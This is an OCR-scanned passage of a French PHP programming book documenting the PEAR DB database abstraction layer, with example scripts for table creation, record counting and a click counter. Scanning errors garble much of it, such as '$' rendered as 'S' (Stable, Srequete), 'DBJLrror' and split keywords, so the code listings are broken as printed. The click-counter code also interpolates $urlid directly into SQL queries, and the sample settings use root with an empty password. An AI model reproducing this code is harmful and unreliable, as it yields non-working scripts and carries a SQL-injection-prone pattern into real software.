Syntaxe object DB: :connect(string $baseDeDonnees [, boolean 

$persistance]) 

$baseDeDonnees Precise la base de donnees selon la syntaxe typeServeur 
[ (syntaxeSQL) ] : / / [utilisateur [ :motDePasse] @] 
[protocole ( ] [serveur] [)] [ /baseDeDonnees] , ou : 
typeServeur peut prendre l'une des valeurs suivantes "fbsql" pour 
Frontbase, "ibase" pour Interbase, "ifx" pour Informix, "mysql" 
pour MySQL, "msql" pour MiniSQL, "mssql" pour MS SQL Server, 
"oci8" pour Oracle 8i, "odbc" pour une liaison ODBC, "pgsql" pour 
PostgreSQL ou "sybase" pour Sybase. 

syntaxeSQL peut prendre les valeurs "dbase", " fbsql", "ibase", 
"firebird", "ifx", "msql", "mssql", "mysql", "oci8", "sql92", 
"pgsql", "sybase". 

utilisateur est le nom de l'utilisateur. 
motDePasse est le mot de passe de l'utilisateur. 
protocole peut prendre les valeurs "tcp" ou"unix" (socket), 
serveur est nom du serveur eventuellement suivi de : puis du numero du 
port (protocole "tcp") ou le fichier de socket (protocole "unix") 
baseDeDonnees est le nom de la base de donnees, ou eventuellement le 
nom et le chemin du fichier de base de donnees. 

$persi stance Indiquez TRUE si vous souhaitez une connexion persistante, FALSE 

(valeur par defaut) sinon. 

retour ObjetZ)5 en cas de succes, objet DB_Error sinon. 

Execution de la requete SQL 

L'execution d'une requete SQL s'opere par un simple appel a la methode DB->query ( ) . 



DB->query() 

Execute une requete SQL. 
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Chapitre 10 L'utilisation des bases de donnees 



Syntaxe mixed query (string $requete) 

$requete RequeteSQL. 

retour Dans le cas d'une requete ne retournant pas de resultat (ex. : CREATE, 

INSERT, UPDATE), la methode retourne la constante DB_OK (1) en cas de 
succes, ou un objet DBJLrror sinon. 

Dans le cas d'une requete retournant des resultats (ex : SELECT) la 
methode retourne un objet DB_Result en cas de succes, ou un objet 
DBJLrror sinon. 

Une des fonctions les plus interessantes de cette couche d'abstraction est probablement la 

suivante: 



DB->limitQuery() 



Execute une requete SQL en ne demandant qu'un sous-ensemble des resultats (a la maniere de 
l'instruction limit que Ton peut retrouver avec MySQL et SQLite). 

Syntaxe mixed 1 imitQuery(string $requete, int $premierEnregistrement, 

int $nbEnregistrements) 

$requete RequeteSQL. 

$premier 

Enregi strement Index du premier enregistrement a retourner. 

$nbEnregi strements Nombre d'enregistrement maximum a retourner 

retour Dans le cas d'une requete ne retournant pas de resultat (ex. : CREATE, 

INSERT, UPDATE), la methode retourne la constante DB_OK (1) en cas de 
succes, ou un objet DBJLrror sinon. 

Dans le cas d'une requete retournant des resultats (ex : SELECT) la 
methode retourne un objet DB_Result en cas de succes, ou un objet 
DBJLrror sinon. 
Nous verrons par la suite que, pour les bases de donnees le supportant, il est egalement possible 
d'utiliser des requetes preparees (contenant des parametres qui pourront etre modifies juste 
avant que celles-ci ne soient executees), et de desactiver le mode auto commit (validation 
automatique) pour avoir acces aux operations de commit (validation) et rollback 
(annulation). 

Dans le cas d'une requete retournant un resultat (typiquement une requete select), il faudra 
egalement analyser le resultat. Mais nous verrons cela un peu plus loin. 

Deconnexion 

Pour vous deconnecter - operation theoriquement facultative mais toutefois vivement 
conseillee -, vous disposez de la methode DB->disconnect ( ) . 
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DB->disconnect() 

Met fin a la connexion a la base de donnees et libere les ressources associees. 

Syntaxe boolean disconnect() 

retour TRUE en cas de succes, FALSE sinon. 

Premier exemple 

Nous voila done a meme de construire notre premier script utilisant une base de donnees. 



AVerifiez les parametres 
Prenez garde ! Avant d'executer ce script, assurez-vous que les parametres predefinis 
ATTENTION ne risquent pas de conduire a la suppression des donnees d'une de vos bases qui, par 
coincidence, existerait deja. 

Comme cela est fortement conseille, nous avons, ici, isole les parametres de connexion dans un 
fichier aisement reperable. 

Listing 10.101 : parametresbdinc.php 

<?php 

// Parametres de connexion a la base de donnees 
// N'hesitez pas a les modifier selon vos besoins 

// $typeServeur peut prendre 1'une des valeurs suivante 
// "mysql" - MySQL 
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II "pgsqi" 


PostgreSQL 


// "oci8" 


Oracle 8i 


// "MSAccess" - 


MS Access 


// "IBMDB2" 


IBM DB2 


// •■• 




$typeServeur = 


"mysql"; 


$serveur 


"localhost"; 


$base 


"mabase"; 


$utilisateur = 


"root"; 


$motDePasse = 


II II . 

s 


?> 





Notre script principal sera done : 

Listing 10.102 : insertOLphp 

<?php 

// Parametres du script 
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requi re_once ( "parametres_bd_i nc . php" ) ; 
Stable = "tableexemple"; 

// Inclusion du script contenant les fonctions 
requi re_once("insert01_bd_inc. php") ; 

// Connexion a la base de donnees 
switch ($typeServeur) { 
case "MSAccess" : 

$typeServeurPear = "odbc"; 
break; 
default : 

$typeServeurPear = $typeServeur; 
} 

$dsn = "$typeServeurPear://"; 

if (!empty($util isateur)) $dsn .= $utilisateur; 

if (!empty($motDePasse)) $dsn .= ":$motDePasse"; 

$dsn .= "@tcp($serveur)"; 

if (!empty($base)) $dsn .= "/$base"; 

$bd = DB::connect($dsn, TRUE); 
if (DB::isError($bd)) { 

echo $dsn." " .$bd->message; 

return FALSE; 

} 

if ($bd === FALSE) { 

die("<b>Impossible de se connecter a la base de donnees</b>") ; 



// Appel de la fonction principale 
if (EX_initialiseBD($bd, $table)) { 

echo "Voila, une nouvelle table avec quelques donnees, ". 
"vous pouvez le verifier avec votre client de base ". 
" de donnees ou via les scripts suivants."; 
} else { 

echo "La creation ou 1 'alimentation de la table a echouee.' 
} 



?> 



// Pas de deconnexion dans le cas d'une connexion persistante 
// $db->disconnect() ; 



et necessitera : 



Listing 10.103 : insert01_bd_inc.php 

<?php 

require once("DB.php") ; 



/* 
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* Fonction chargee de creer et d'alimenter une table 

* 

* @param $bd object Base de donnees 

* @param Stable string Nom de la table 

** / 

function EX_initialiseBD($bd, Stable) 
{ 

// Supprime la precedente table 

Srequete = "DROP TABLE Stable"; 

@$bd->query($requete) ; 

// Cree la table 

Srequete = "CREATE TABLE Stable (filmld INTEGER, ". 

"film VARCHAR(64))"; 
$sts = $bd->query($requete) ; 
if (DB::isError($sts)) return FALSE; 

// Ajoute quelques donnees 

Srequete = "INSERT INTO Stable VALUES (1, 'Forrest Gump')"; 

$sts = $bd->query($requete) ; 

if (DB::isError($sts)) return FALSE; 

Srequete = "INSERT INTO Stable VALUES (2, 'Matrix')"; 

$sts = $bd->query($requete) ; 

if (DB::isError($sts)) return FALSE; 

Srequete = "INSERT INTO Stable VALUES (3, 'La cite de la peur')"; 

$sts = $bd->query($requete) ; 

if (DB::isError($sts)) return FALSE; 

return TRUE; 
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Commit/rollback 

Par defaut, les requetes sont automatiquement validees (mode auto commit). II est toutefois 
possible, pour certaines bases de donnees, de modifier ce comportement en utilisant la 

methode DB->autoCommit ( ) . 



DB->autoCommit() 

Active ou desactive le mode de validation automatique des transactions (auto commit). 
Syntaxe mixed autoCommit( [boolean $mode]) 

$mode TRUE pour activer le mode auto commit, FALSE (valeur par defaut) 

sinon. 
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retour DB_OK si la base de donnees supporte les transactions, ou 1 ! 'objet DB_Error 

sinon. 

Si vous avez opte pour un mode de validation non automatique, vous pourrez valider ou 
annuler vos transactions avec les fonctions suivantes : 
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DB->commit() 



Valide la transaction en cours. 

Syntaxe mixed commit (void) 

retour DB_OK si la base de donnees supporte les transactions, ou V objet DB_Error 

sinon. 



DB->rollback() 

Annule la transaction en cours. 

Syntaxe mixed rol Iback(void) 

retour DB_OK si la base de donnees supporte les transactions, ou Y 'objet DB_Error 

sinon. 

Lecture des enregistrements 

Dans le cas d'une requete retournant une liste de donnees (typiquement un select), il 
convient de recuperer l'objet DB_Result et de l'utiliser pour lire, en boucle, ligne apres ligne, 
chaque enregistrement. II existe pour cela deux methodes au comportement similaire, mais 
avec des syntaxes differentes. 

Nous verrons ensuite qu'il est egalement possible d'executer des requetes et de recuperer les 
enregistrements sans meme passer par un objet DB_Result. 

Lecture enregistrement par enregistrement 



DB_Result->fetchRow() 

Retourne l'enregistrement courant et deplace le curseur vers l'enregistrement suivant. 

Syntaxe mixed fetchRow([int $mode [,int $enregistrementldx]] ) 

$mode Determine le format de la reponse, cela peut prendre l'une des valeurs 

suivantes : 



878 



Les couches d'abstraction 



DB_FETCHMODE_ASSOC pour restituer l'enregistrement sous la forme 
d'un tableau associatif ou les cles sont les noms de champs. 

DB_FETCHMODE_OB JECT pour restituer l'enregistrement sous la forme 
d'un objet. 

DB_FETCHMODE_ORDERED pour restituer l'enregistrement sous la forme 
d'un tableau indexe (commengant a 0) et contenant les valeurs des champs 
(dans l'ordre de la requete). 

DB_FETCHMODE_DEFAULT (valeur par defaut si la methode 
setFetchMode ( ) n'a pas ete appelee) pour restituer l'enregistrement 
sous sa forme par defaut (probablement DB_FETCHMODE_ORDERED). 

$enregi strement Idx Index de l'enregistrement a restituer. 

retour Selon le mode choisi, en cas de succes : un tableau indexe, associatif, un 

objet, ou NULL s'il n'y a plus d'enregistrement a lire. 

La fonction suivante listera done le contenu de la table : 

Listing 10.104 : select_eea_bd_inc.php 

<?php 

require_once("DB.php") ; 

/** 

* Fonction listant le contenu d'une table 

* contenant 2 champs (filmld et film) 

* 

* @param $bd object Base de donnees 

* @param Stable string Norn de la table 

** / 

function EX_listeContenu($bd, Stable) 

{ 

// Requete 

Srequete = "SELECT * FROM Stable"; 

Sresultat = $bd->query (Srequete) ; 

if (DB::isError($resultat)) return FALSE; 

// Boucle de lecture (et d'affichage) des enregistrements 
while (Senreg = $resultat->fetchRow(DB_FETCHMODE_ASSOC)) { 
echo "Filmld=".$enreg["filmld"] . " ". 

"Film =" .$enreg["film"]."<br />"; 

} 

return TRUE; 

} 
?> 



L' autre methode similaire est DB_Result->fetchinto. 
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DB_Result->fetchInto () 

Retourne l'enregistrement courant et deplace le curseur vers l'enregistrement suivant. 

Syntaxe int fetchInto(array &$enregistrement [, int $mode [, int 

$enregi strementldx]] ) 

$enregi strement Variable dans laquelle copier renregistrement. 

$mode Determine le format de la reponse, cela peut prendre l'une des valeurs 

suivantes : 

DB_FETCHMODE_ASSOC pour restituer l'enregistrement sous la forme 
d'un tableau associatif ou les cles sont les noms de champs. 

DB_FETCHMODE_OBJECT pour restituer l'enregistrement sous la forme 
d'un objet. 

DB_FETCHMODE_ORDERED pour restituer l'enregistrement sous la forme 
d'un tableau indexe (commengant a 0) et contenant les valeurs des champs 
(dans l'ordre de la requete). 

DB_FETCHMODE_DEFAULT (valeur par defaut si la methode 
setFetchMode ( ) n'a pas ete appelee) pour restituer l'enregistrement 
sous sa forme par defaut (probablement DB_FETCHMODE_ORDERED). 

$enregi strementldx Index de l'enregistrement a restituer. 

retour La constante DB_OK (1) en cas de succes, FALSE sinon. 

Sans objet DB_Result 

L'objet DB de la bibliotheque pear propose une serie de methodes permettant d'acceder 
directement aux resultats d'une requete, et repondant aux cas d'utilisation les plus frequents. 



DB->getOne() 



Retourne le premier champ du premier enregistrement retourne par une requete (ex. : du type 

SELECT champ FROM table WHERE id=valeur). 

Syntaxe string getOne (mixed $requete [, array $parametres] ) 

$requete Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

$parametres Parametres de la requete preparee. 

retour La valeur du champ, ou un ob]etDB_Error en cas d'erreur. 
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Voir Vexemple d'utilisation dans le paragraphe "Compter les enregistrements". 



RENVOI 



DB->getRow() 



Retourne le premier enregistrement retourne par une requete (ex. : du type select * from 

table WHERE id=valeur). 



Syntaxe 

$requete 

$parametres 

$mode 



retour 



mixed getRow(mixed $requete [, array $parametres [, int 
$mode]]) 

Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

Parametres de la requete preparee (NULL si vous souhaitez simplement 
preciser le mode). 

Determine le format de la reponse, cela peut prendre l'une des valeurs 
suivantes : 

DB_FETCHMODE_ASSOC pour restituer l'enregistrement sous la forme 
d'un tableau associatif ou les cles sont les noms de champs. 

DB_FETCHMODE_OB JECT pour restituer l'enregistrement sous la forme 
d'un objet. 

DB_FETCHMODE_ORDERED pour restituer l'enregistrement sous la forme 
d'un tableau indexe (commengant a 0) et contenant les valeurs des champs 
(dans l'ordre de la requete). 

DB_FETCHMODE_DEFAULT (valeur par defaut si la methode 
setFetchMode ( ) n'a pas ete appelee) pour restituer l'enregistrement 
sous sa forme par defaut (probablement DB_FETCHMODE_ORDERED). 

Selon le mode choisi, en cas de succes : un tableau indexe, associatif, un 
objet, ou NULL si la requete ne retourne aucun enregistrement ; voire un 
objet DBJLrror en cas d'erreur. 
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DB->getCol() 



Retourne l'ensemble des valeurs d'un champ des enregistrements retournes par une requete. 

Syntaxe mixed getRow (mixed $requete [, string $champ [, array 

$parametres]]) 

$requete Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

$ c h amp Index ou nom du champ . 

$parametres Parametres de la requete preparee. 
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retour 



Tableau indexe contenant les valeurs pour chaque enregistrement 
retourne, ou un objet DBJLrror en cas d'erreur. 
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DB->getAssoc() 



Retourne l'ensemble des enregistrements retournes par une requete sous la forme d'un tableau 
associatif base sur la valeur du premier champ. 

Syntaxe array get Assoc (mixed $requete [, boolean $modeTableau [, array 

$parametres ]] ) 

$requete Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

$modeTabl eau TRUE pour forcer l'utilisation d'un tableau, meme dans les cas ou chaque 

cle du tableau n'est associee qu'a une seule valeur, FALSE (valeur par 
defaut) sinon. 

$parametres Parametres de la requete preparee. 

retour Dans le cas d'enregistrements avec un seul champ, retourne la constante 

DB ERROR TRUNCATED. 



Dans le cas d'enregistrements avec deux champs et $modeTableau a 

FALSE, retourne un tableau associatif ayant pour cles les valeurs du 

premier champ et pour valeurs celles du second champ. 

Dans le cas d'enregistrements avec deux champs et $modeTableau a 

TRUE, retourne un tableau associatif ayant pour cles les valeurs du premier 

champ et pour valeur un tableau contenant les valeurs du second champ 

correspondant. 

Dans le cas d'enregistrements avec plus de trois champs, retourne un 

tableau associatif ayant pour cles les valeurs du premier champ et pour 

valeur un tableau contenant les valeurs des autres champs correspondants. 

En cas d'erreur, retourne un objet DB_Ertor. 

A noter : s'il y a des doublons dans les valeurs du premier champ, seuls les 

derniers enregistrements associes a ces valeurs doublons sont conserves. 



DB->getAll() 



Retourne l'ensemble des enregistrements retournes par une requete sous la forme d'un tableau 
indexe. 



Syntaxe 

$requete 
$parametres 



array getAll (mixed $requete [, array $parametres [, int 
$mode]]) 

Requete SQL, ou identifiant d'une requete preparee tel que retourne par 

DB->prepare ( ) . 

Parametres de la requete preparee. 
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$mode Determine le format de la reponse ; cela peut prendre l'une des valeurs 

suivantes : 

DB_FETCHMODE_AS SOC pour restituer les enregistrements sous la forme 
d'un tableau indexe contenant un tableau associatif ou les cles sont les 
noms de champs. 

DB_FETCHMODE_ORDERED pour restituer les enregistrements sous la 
forme d'un tableau indexe contenant un tableau indexe associe aux valeurs 
des champs (dans l'ordre de la requete). 

DB_FETCHMODE_FLlPPED combine par OU logique avec les modes 
ci-dessus permet d'intervertir les roles des champs et enregistrements dans 
le tableau. (Avec DB_FETCHMODE_ASSOC cela donne un tableau 
associatif, ou les cles sont les noms des champs, contenant un tableau 
indexe des valeurs pour chaque enregistrement. Avec 
DB_FETCHMODE_ORDERED, cela donne un tableau indexe (ou chaque 
entree represente un champ, dans l'ordre de la requete) contenant les 
valeurs pour chaque enregistrement. 

DB_FETCHMODE_DEFAULT (valeur par defaut si la methode 
setFetchMode ( ) n'a pas ete appelee) pour restituer l'enregistrement 
sous sa forme par defaut (probablement DB_FETCHMODE_ORDERED). 

retour Un tableau dont la structure depend du mode choisi, ou un objetDB_Error 

en cas d'erreur. 

Nombre d' enregistrements 

Nombre d 'enregistrements retournes 

II existe trois facpns de determiner le nombre d'enregistrements retournes par une requete. 

Si vous souhaitez uniquement connaitre le nombre d'enregistrements, mais ne souhaitez pas 
immediatement lire ces enregistrements, alors il vous suffit de faire une requete count ( ) 
comme suit : 

Listing 10.105 : countbdincphp 

<?php 

require_once("DB.php") ; 

/** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* @param $bd object Base de donnees 

* @param Stable string Norn de la tabme 

** / 

function EX_compte($bd, Stable) 

{ 

// Requete 

$requete = "SELECT C0UNT(*) FROM Stable"; 
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$resultat = $bd->getOne($requete) ; 

if (DB: :isError($resultat)) return FALSE; 

echo "II y a $resultat enregistrements dans la table. <br />"; 
return TRUE; 



?> 



II est egalement envisageable de les compter au fur et a mesure de leur lecture (s'ils sont lus, par 
exemple, avec la methode getRow ( ) ). 

Mais, surtout, ce que vous attendez tous : si vous souhaitez connaitre le nombre 
d'enregistrements avant de les lire, vous pouvez faire appel a la methode 

DB_Result->numRows ( ) . 



DB_Result->numRows () 



Indique le nombre d'enregistrements retournes par une requete. 

Syntaxe i nt numRows(void) 

retour Nombre d'enregistrements retournes, ou un objet DB_Eiror en cas 

d'erreur. 

Listing 10.106 : countnumrowsbdjnc.php 

<?php 

require_once("DB.php") ; 

/** 

* Fonction affi chant le nombre d'enregistrements 

* dans une table 

* @param $bd object Base de donnees 

* @param Stable string Norn de la tabme 
** / 

function EX_compte($bd, Stable) 

{ 

// Requete 

$requete = "SELECT * FROM Stable"; 

$resultat = $bd->query($requete) ; 

if (DB: :isError($resultat)) return FALSE; 

echo "II y a ".$resultat->numRows() ." enregistrements". 

" dans la table. <br />"; 
return TRUE; 

} 
?> 
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Sachant qu'une requete select * est plus longue qu'une requete select count ( * ) , 
privilegiez la premiere methode si vous n'avez que faire du contenu des enregistrements. 

Nombre d 'enregistrements modifies 

Pour determiner le nombre d'enregistrements modifies, vous pouvez appeler la methode 

DB->af fectedRows ( ) . 



DB->affectedRows() 



Indique le nombre d'enregistrements modifies lors de l'execution de la requete (de type 

INSERT, UPDATE). 

Syntaxe int af fectedRows (void) 

retour Nombre d'enregistrements modifies ou un oh]ti DB_Errortn cas d'erreur. 

Mise a profit des requetes preparees 

Certains serveurs de bases de donnees permettent l'analyse, la compilation et le stockage des 
requetes avant utilisation. Ceci permet d'executer une serie de requetes similaires sans avoir a 
renouveler a chaque fois les operations d'analyse et de compilation (mais seulement en 
changeant certaines valeurs). Meme si cela ne s'applique que pour certains serveurs, les 
methodes qui suivent restent applicables quelle que soit la base de donnees (couche 
d'abstraction oblige). Pour les bases de donnees ne supportant pas les requetes preparees, cela 
sera tout simplement emule. 

Pour cela, il suffit de preparer une requete dans laquelle les elements variables sont remplaces 
par des points d'interrogation (ex. : insert into matabie (film) values (?)). II suffira 
de preciser ces valeurs au moment de son execution. 

La preparation de la requete se fait via la fonction DB->prepare ( ) . 



DB->prepare() 



Prepare une requete SQL. 

Syntaxe resource prepare (string $requete) 

$requete Requete SQL a preparer. 

retour Identifiant de la requete preparee (ce n'est pas une veritable ressource, 

mais plutot un index si la base de donnees ne supporte pas les requetes 
preparees). 

L'execution proprement dite est assuree par DB->execute ( ) . 
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DB->execute() 

Execute une requete preparee. 

Syntaxe object execute(resource $idRequetePreparee, array $parametres) 

$i dRequetePreparee Identifiant de la requete preparee. 

$parametres Tableau indexe contenant les valeurs des differents parametres de la 

requete preparee. 

retour La constante DB_OK en cas de succes d'une requete ne retournant pas de 

resultat, un objet DB_Result en cas de succes d'une requete retournant 
un resultat, un objet DBJLrror sinon. 

Mais il est egalement possible d'enchainer automatiquement plusieurs appels. 



DB->executeMultiple () 

Execute une requete preparee pour l'ensemble des donnees d'un tableau. 

Syntaxe object executeMultiple(resource $idRequetePreparee, array 

$parametres) 

$i dRequetePreparee Identifiant de la requete preparee. 

$parametres Tableau indexe contenant une entree par requete a executer. Chaque 

entree contient un tableau contenant les valeurs des differents parametres 
de la requete preparee. 

retour La constante DB_OK en cas de succes d'une requete ne retournant pas de 

resultat, un objet DB_Result en cas de succes d'une requete retournant 
un resultat, un objet DB _Error sinon. 

Un exemple d'utilisation est donne plus loin avec le script compteurclic. 

Champs auto-incrementes 

Une des difficultes rencontrees pour creer des scripts utilisables avec differents serveurs de 
bases de donnees concerne les champs auto-incrementes. 

La solution proposee par la bibliotheque pear consiste a creer une sequence. 



DB->createSequence () 

Cree une sequence. 

Syntaxe mixed createSequence (string $nom) 
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$nom Nom de la sequence. 

retour DB_OK en cas de succes, un objet DB_Error sinon. 

Concretement, cela se traduit par la creation d'une sequence pour les bases de donnees 
supportant ce type d'objet ; pour les autres, une table simulant une sequence est creee (ce qui 
est le cas pour MySQL. La table porte alors le nom indique accompagne du suffixe "_seq"). 

Malheureusement, ceci ne constitue qu'une solution de remplacement aux champs 
auto-incrementes. Des lors, plus rien n'est automatique, et vous devez, avant chaque insertion 
dans la table, recuperer la valeur suivante de la sequence. Cela s'effectue par un appel a la 
methode next id ( ) . 



DB->nextId() 
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Recupere la valeur suivante d'une sequence. 

Syntaxe int nextld(string $nom) 

$nom Nom de la sequence. 

retour Valeur suivante, ou un objet DBJLrror en cas d'echec. 

Vous pouvez egalement supprimer une sequence. 



DB->dropSequence () 

Supprime une sequence. 

Syntaxe mixed dropSequence(string $nom) 

$nom Nom de la sequence a supprimer. 

retour DB_0K en cas de succes, un objet DB _Error sinon. 

Un exemple d'utilisation des sequences est donne plus loin avec le script compteurclic. 

Traitement des chaines de caracteres 



DB->escapeSimple () 



Prepare une chaine de caracteres pour une insertion dans une requete SQL (par 
"echappement" des caracteres particuliers comme les guillemets ou apostrophes). En d'autres 
termes il s'agit d'un equivalent des fonctions mysqi_escape_string( ), 

sqlite_escape_string ( ) , etc. 
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Syntaxe string escapeSimple(string $nom) 

$nom Chaine de caracteres a traiter. 

retour La chaine de caracteres prete a etre inseree dans une requete SQL. 

Gestion des erreurs 

Afin de determiner si la valeur retournee par une methode est un objet DB_Error ou non, 
l'objet DB vous propose la methode db : : isError ( ) . 



DB::isError() 



Teste si l'argument est un objet DB_Error ou non. 

Syntaxe boolean isError (mixed $argument) 

$argument Argument a tester. 

retour TRUE s'il s'agit d'un objet DB_Error, FALSE sinon. 

II est cependant possible de determiner plus precisement l'origine de l'erreur. II est notamment 
possible de lire le contenu de l'objet DBJLnor. 

DBJLnor est ainsi compose (entre autres) des attributs : 

level, niveau d'erreur parmi : 

— 1024 erreur ; 

— db_warning (-1 000) avertissement ; 

— db_warning_read_only (-1 001) avertissement. 

code, une des valeurs suivantes : 

— db_error (-1) erreur inconnue ; 

— db_error_syntax (-2) la requete comporte une erreur de syntaxe ; 

— db_error_CONSTraint (-3) violation de contrainte ; 

— db_error_not_found (-4) la base n'existe pas ; 

— db_error_already_exists (-5) une requete create a ete demandee pour une table, 
sequence, etc. existant deja ; 

— db_error_unsupported (-6) ; 

— db_error_mismatch (-7) ; 

— db_error_invalid (-8) ; 

— db_error_not_capable (-9) ; 

— db_error_truncated (-10) la methode DB->getAssoc ( ) a ete appelee alors que le 
resultat ne comporte qu'un seul champ ; 

— db_error_invalid_number (-11) ; 
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— DB_ERROR_INVALID_DATE (-12) J 

— db_error_divzero (-13) division par zero ; 

— db_error_nodbselected (-14) aucune base selectionnee ; 

— db_error_cannot_create (-15) ; 

— db_error_cannot_delete (-16) ; 

— db_error_cannot_drop (-17) ; 

— db_error__nosuchtable (-18) l'une des tables n'existe pas ; 

— db_error_nosuchfield (-19) l'un des champs n'existe pas ; 

— db_error_need_more_data (-20) ; 

— db_error_not_locked (-21) ; 

— db_error_value_count_on_row (-22) ; 

— DB_ERROR_INVALID_DSN (-23) parametre $baseDeDonnees de DB->connect ( ) non 
valide ; 

— DB_ERROR_CONNECT_FAILED (-24) ; 

— DB_ERROR_EXTENSION_NOT_FOUND (-25) ; 

— DB_ERROR_NOSUCHDB (-25 sic) ; 

— DB_ERROR_ACCESS_VIOLATION (-26) ; 

— message, le message d'erreur ; 

— nativecode, (si disponible) le code d'erreur retourne par la base de donnees +" 
** "+ le message d'erreur (du moins avec MySQL). 

Exemples d'applications 

Nous ne reviendrons pas en detail sur les scripts suivants, car ils concernent des exemples 
presentes dans les chapitres traitant des differentes bases de donnees. Nous supposons que 
vous vous etes penche sur le cas d'au moins une de ces bases et que vous avez, par consequent, 
compris le mode de fonctionnement de ces scripts. 

Nous nous contenterons done de vous presenter les corrections a apporter pour l'utilisation de 
la bibliotheque Dbx. 

Compteur de clics 

Le script compteurclic_bd_inc.php deviendra ainsi : 

Listing 10.107 : compteurclicbdincphp 

<?php 

require_once("DB.php") ; 

// 

// Charge les parametres de connexion 

// a la base de donnees. 

// 

requi re_once ( "parametres_bd_i nc . php" ) ; 
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* Fonction de connexion a une base de donnees 

* s'appuie sur les parametres fournis 

* dans parametres_bd_inc.php. 

* @return object Objet DB (base de donnees) 

7 

function CC_connexion() 

{ 

global $typeServeur, $serveur, $base, $util isateur, $motDePasse; 

switch ($typeServeur) { 
case "IBMDB2" : 
case "MSAccess" : 

$typeServeurPear = "odbc"; 
break; 
default : 

$typeServeurPear = $typeServeur; 
} 

$dsn = "$typeServeurPear://"; 

if (!empty($utilisateur)) $dsn .= $utilisateur; 

if (! empty ($motDePasse)) $dsn .= ":$motDePasse"; 

$dsn .= "@tcp($serveur)"; 

if (!empty($base)) $dsn .= "/$ Dase "; 

$bd = DB::connect($dsn, TRUE); 
if (DB::isError($bd)) { 

echo $bd->message; 

return FALSE; 
} 

return $bd; 



* Fonction de deconnexion. 

* (Ne fait rien sachant que la fonction 

* de connexion etablit une connexion persistante) 

7 

function CC_deconnexion($bd) 

{ 

return TRUE; 

} 

/** 

* Fonction charge de creer et d'alimenter 

* la table "compteur de dies" 

** / 

function CCJnitial iseBD($bd, Stable) 
{ 
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global $typeServeur; 

$default = "DEFAULT 0"; 

// Creation de la table 
$requete = "DROP TABLE Stable"; 
@$bd->query($requete) ; 

$requete = "CREATE TABLE Stable (". 



"urlld INTEGER PRIMARY KEY,' 
"url VARCHAR(128) NOT NULL,' 
"nbclic INTEGER $default,". 
"UNIQUE(url))"; 



$sts = $bd->query($requete) ; 
if (DB::isError($sts)) { 

echo $sts->message; 

return FALSE; 
} 

$bd->dropSequence($table) ; 

$sts = $bd->createSequence($table) ; 
if (DB::isError($sts)) { 

echo $sts->message; 

return FALSE; 
} 

// Alimentation de la table 

$requete = "INSERT INTO Stable (urlld, url] 

$reqPreparee = $bd->prepare($requete) ; 
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VALUES (?,?)' 



$tabUrl 



array ( 
array 
array 
array 
array 
array 



($bd->nextld($table), 'http 

($bd->nextld($table), 'http 

($bd->nextld($table), 'http 

($bd->nextld($table), 'http 

($bd->nextld($table), 'http 



//www. php.net 1 
//www.phpfaci 1 
//www.sqlfaci 1 
//www.xmlfaci 1 
//www.ootoogo. 



e.com') , 
e.com'), 
e.com'), 
com' ) 



$sts = $bd->executeMultiple($reqPreparee, $tabUrl] 
if (DB::isError($sts)) { 

echo $sts->message; 

return FALSE; 
} 

return TRUE; 



Fonction retournant les informations de liens 
sous forme d'un tableau associatif possedants 
les cles 
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* - "lien" associe au tableau des liens hypertextes 

* - "nbclic" associe au tableau des nombres de clics 

function CC_recupereLiens($bd, $table) 

{ 

// Nom du script charge du comptage et de la redirection 
$script = "compteurclic_redi recti on. php"; 

// Requete SELECT 

$requete = "SELECT * FROM $table"; 

$resultat = $bd->query($requete) ; 

if (DB: :isError($resultat)) return FALSE; 

// Recuperation des enregistrements les uns apres les autres 
while (Senreg = $resultat->fetchRow(DB_FETCHMODE_ASSOC)) { 
$liens["lien"] [] = "<a href=\"$script?urlid=". 
$enreg["url Id"] ."\">". 
$enreg["url "] ."</a>"; 
$liens["nbclic"] [] = $enreg["nbcl ic"] ; 
} 

return $liens; 



* Fonction recuperant une url a partir de son identifiant 

* et incrementant le compteur de clics 

** / 

function CC_recupereUrl ($bd, $urlid) 

{ 

global $table; 

// Recupere 1 'url 

$requete = "SELECT * FROM Stable WHERE url id=$url id" ; 
$enreg = $bd->getRow($requete, NULL, DB_FETCHMODE_ASSOC) ; 
if (DB: :isError (Senreg) ) return FALSE; 

if ($enreg) { 

$url = $enreg["url "] ; 

// Incremente le compteur 

$requete = "UPDATE Stable SET nbcl ic=nbcl ic+1 WHERE url id=$url id" ; 
$bd->query($requete) ; 
} else { 

$url = FALSE; 

} 

return $url ; 

} 
?> 
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Grace a l'utilisation des sequences pear, ce script pourrait s'adapter a differents types de bases 
de donnees, puisqu'il s'affranchit des disparites existantes dans la declaration des champs 
auto-incrementes. Mais, malheureusement, cela n'est pas suffisant, puisqu'il devrait etre 
egalement adapte, par exemple, pour MS Access, qui ne supporte pas l'instruction SQL 
"default". II devrait de meme etre adapte pour MS SQL Server, puisque nous avons constate 
un dysfonctionnement lie a l'utilisation des methodes prepare ( ) , execute ( ) ou 
executeMultiple ( ) . 

La couche d'abstraction pear ne permet done pas de pallier tous les problemes de 
compatibilite. 

Les scripts contenant les fonctions d'affichage, quant a eux, ne sont pas modifies (d'ou l'interet 
de les dissocier des fonctions de traitement). D'ailleurs, les scripts principaux ne le sont pas non 
plus, puisqu'ils n'accedent pas directement a la base de donnees, n'appellant que des fonctions 
de "haut niveau". 



SuperTheque 
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L'essentiel du code de l'application a ete presente en introduction de ce chapitre. II ne restait 
plus qu'a connaitre les fonctions PEAR DB pour implementer l'interface 
Ressourceinterface e'est desormais chose faite: 

Listing 10.108 : RessourcePEARDBclass.php 

<?php 

include_once ("Res source I nterface_cl ass. php") ; 

include_once(dirname( FILE ) . "/. ./config/peardb_cfg.php") ; 

include_once("DB.php") ; 

/** 

* RessourcePEARDB_class.php 

* Classe d'acces a une base de donnees via PEARDB 

* Cette classe doit implementer toutes les methodes de l'interface 

* Ressourceinterface. 

* Compatibilite: PHP 5 

V 

class Ressource implements Ressourceinterface 
{ 

var $bd; 

public function connexion() 

{ 

global $pear_typeServeur; 

global $pear_serveur, $pear_utilisateur, $pear_motDePasse; 

global $pear_base; 

switch ($pear_typeServeur) { 
case "IBMDB2" : 
case "MSAccess" : 

$typeServeurPear = "odbc"; 

break; 
default : 

